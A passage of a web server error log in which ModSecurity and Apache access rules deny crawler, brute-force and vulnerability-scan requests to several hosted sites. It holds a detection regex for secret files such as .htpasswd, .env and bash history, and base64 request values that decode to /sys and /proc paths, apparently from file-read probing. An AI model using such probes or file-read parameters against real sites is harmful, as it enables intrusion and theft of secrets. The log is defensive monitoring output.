[access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:13:56.282436 2026] [access_compat:error] [pid 531155:tid 531283] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQzL3N1YnN5c3RlbS9pbnB1dDU= [Sat Jun 13 18:13:56.484013 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.17:43438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:56.484344 2026] [access_compat:error] [pid 531155:tid 531165] [remote 57.141.14.17:43438] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:56.605429 2026] [security2:error] [pid 531155:tid 531180] [remote 17.22.253.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRCmiP80klyS0NnoYIAABexg"] [Sat Jun 13 18:13:56.611485 2026] [security2:error] [pid 531155:tid 531239] [remote 45.236.128.46:51938] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 46.128.236.45.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "yearlingrv.com"] [uri "/wp-login.php"] [unique_id "ai3yRCmiP80klyS0NnoYIQABZ1M"], referer: https://yearlingrv.com/wp-login.php [Sat Jun 13 18:13:56.627861 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.89:59146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:56.628312 2026] [access_compat:error] [pid 531155:tid 531188] [remote 57.141.14.89:59146] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:56.689959 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.13:37347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:56.690239 2026] [access_compat:error] [pid 531155:tid 531275] [remote 57.141.14.13:37347] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:56.756839 2026] [security2:error] [pid 531155:tid 531367] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/class_object/method_exists_variation_001.phpt"] [unique_id "ai3yRCmiP80klyS0NnoYLwAAAVw"] [Sat Jun 13 18:13:56.809543 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:13:56.809895 2026] [access_compat:error] [pid 531155:tid 531179] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vZXZlbnQxL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQyL2lk [Sat Jun 13 18:13:56.973423 2026] [security2:error] [pid 531155:tid 531183] [remote 114.119.151.233:0] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRCmiP80klyS0NnoYPAABdRs"], referer: https://www.torquayfans.com/viewtopic.php?p=297053 [Sat Jun 13 18:13:57.014170 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.53:60050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:57.014628 2026] [access_compat:error] [pid 531155:tid 531202] [remote 57.141.14.53:60050] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:57.285593 2026] [security2:error] [pid 531155:tid 531210] [remote 17.241.227.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.227.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRSmiP80klyS0NnoYTQABDTY"] [Sat Jun 13 18:13:57.320002 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:13:57.320467 2026] [access_compat:error] [pid 531155:tid 531182] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9kZXZpY2UvaW5wdXQvaW5wdXQ0L3N1YnN5c3RlbS9pbnB1dDAvZGV2aWNl [Sat Jun 13 18:13:57.323090 2026] [security2:error] [pid 531155:tid 531391] [client 114.119.142.156:56399] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "www.buy-ketotifen.com"] [uri "/product/buy-t3-cytomel"] [unique_id "ai3yRSmiP80klyS0NnoYUAAAAXQ"], referer: https://www.buy-ketotifen.com/product/buy-t3-cytomel [Sat Jun 13 18:13:57.423030 2026] [access_compat:error] [pid 531155:tid 531191] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:57.423478 2026] [access_compat:error] [pid 531155:tid 531191] [remote 216.73.216.182:47158] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:57.525412 2026] [security2:error] [pid 531155:tid 531227] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "web.config"] [severity "CRITICAL"] [hostname "bradgoreski.co"] [uri "/web.config"] [unique_id "ai3yRSmiP80klyS0NnoYWQABYkc"] [Sat Jun 13 18:13:57.568499 2026] [security2:error] [pid 531155:tid 531297] [client 114.119.156.9:64019] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "royalcanvas.ca"] [uri "/product/the-pines-by-lawren-stewart-harris"] [unique_id "ai3yRSmiP80klyS0NnoYXAAAARY"], referer: https://royalcanvas.ca/product/the-pines-by-lawren-stewart-harris [Sat Jun 13 18:13:57.594948 2026] [security2:error] [pid 531155:tid 531159] [remote 17.246.19.5:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 5.19.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRSmiP80klyS0NnoYYAABMgM"] [Sat Jun 13 18:13:57.629144 2026] [security2:error] [pid 531155:tid 531164] [remote 17.22.253.250:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 250.253.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRSmiP80klyS0NnoYYgABgwg"] [Sat Jun 13 18:13:57.696667 2026] [security2:error] [pid 531155:tid 531277] [remote 17.22.237.45:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 45.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRSmiP80klyS0NnoYaAABbHk"] [Sat Jun 13 18:13:57.711936 2026] [security2:error] [pid 531155:tid 531156] [remote 17.241.75.140:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 140.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3yRSmiP80klyS0NnoYagABKAA"] [Sat Jun 13 18:13:57.854335 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:13:57.854614 2026] [access_compat:error] [pid 531155:tid 531213] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vbW91c2UyL3Bvd2Vy [Sat Jun 13 18:13:58.115064 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.77:43399] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:58.115408 2026] [access_compat:error] [pid 531155:tid 531246] [remote 57.141.14.77:43399] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:58.221858 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:56594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:13:58.222300 2026] [access_compat:error] [pid 531155:tid 531176] [remote 74.7.227.22:56594] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://mail.homs.co.ke/?p=L3Byb2MvNzQ5NDQ2L2Zk [Sat Jun 13 18:13:58.369717 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.27:27166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:58.369906 2026] [security2:error] [pid 531155:tid 531389] [client 114.119.140.50:45709] ModSecurity: Access denied with code 406 (phase 1). Pattern match "ZoominfoBot|NetcraftSurveyAgent|MJ12bot|(?i:BUbiNG)|D(?i:otbot)| oBot/|MegaIndex\\\\.ru|Barkrowler|Spbot|DomainCrawler|Seznam|CCBot|SiteExplorer|OpenLinkProfiler|Sogou web spider|360Spider|Semrush|Panscient|crawler\\\\.feedback([+]\\\\S+)?@gmail\\\\.com|MauiBo ..." at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "585"] [id "999812"] [msg "Problematic Crawler"] [hostname "thenerdistheword.ca"] [uri "/index.php/2016/04/10/n-t-w-update"] [unique_id "ai3yRimiP80klyS0NnoYogAAAXI"], referer: http://thenerdistheword.ca/index.php/2016/04/10/n-t-w-update/ [Sat Jun 13 18:13:58.370027 2026] [access_compat:error] [pid 531155:tid 531250] [remote 57.141.14.27:27166] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:58.402994 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:58.403408 2026] [access_compat:error] [pid 531155:tid 531236] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0Ny9zdWJzeXN0ZW0vZXZlbnQwL3N1YnN5c3RlbS9ldmVudDAvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:13:58.579685 2026] [security2:error] [pid 531155:tid 531301] [client 189.217.192.30:49794] ModSecurity: Warning. Pattern match "POST" at REQUEST_METHOD. [file "/opt/mod_security/hg_rules.conf"] [line "151"] [id "900405"] [msg "xmlrpc POST logging"] [data "200"] [hostname "kawasakiz1.com"] [uri "/xmlrpc.php"] [unique_id "ai3yRimiP80klyS0NnoYkQAAARo"] [Sat Jun 13 18:13:58.664125 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.30:37598] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:58.664575 2026] [access_compat:error] [pid 531155:tid 531160] [remote 57.141.14.30:37598] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:58.878230 2026] [security2:error] [pid 531155:tid 531258] [remote 185.177.72.9:29702] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 9.72.177.185.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "bradgoreski.co"] [uri "/vendor/sendgrid/sendgrid-php/lib/SendGrid.php"] [unique_id "ai3yRimiP80klyS0NnoYyAABWGY"] [Sat Jun 13 18:13:58.913371 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:13:58.913858 2026] [access_compat:error] [pid 531155:tid 531210] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL21vdXNlMC9zdWJzeXN0ZW0vaW5wdXQ1L2RldmljZS9kcml2ZXI= [Sat Jun 13 18:13:58.971641 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.53:60064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:58.971920 2026] [access_compat:error] [pid 531155:tid 531278] [remote 57.141.14.53:60064] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:59.266522 2026] [access_compat:error] [pid 531155:tid 531212] [remote 57.141.14.56:41046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:13:59.266968 2026] [access_compat:error] [pid 531155:tid 531212] [remote 57.141.14.56:41046] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:13:59.433115 2026] [access_compat:error] [pid 531155:tid 531271] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: 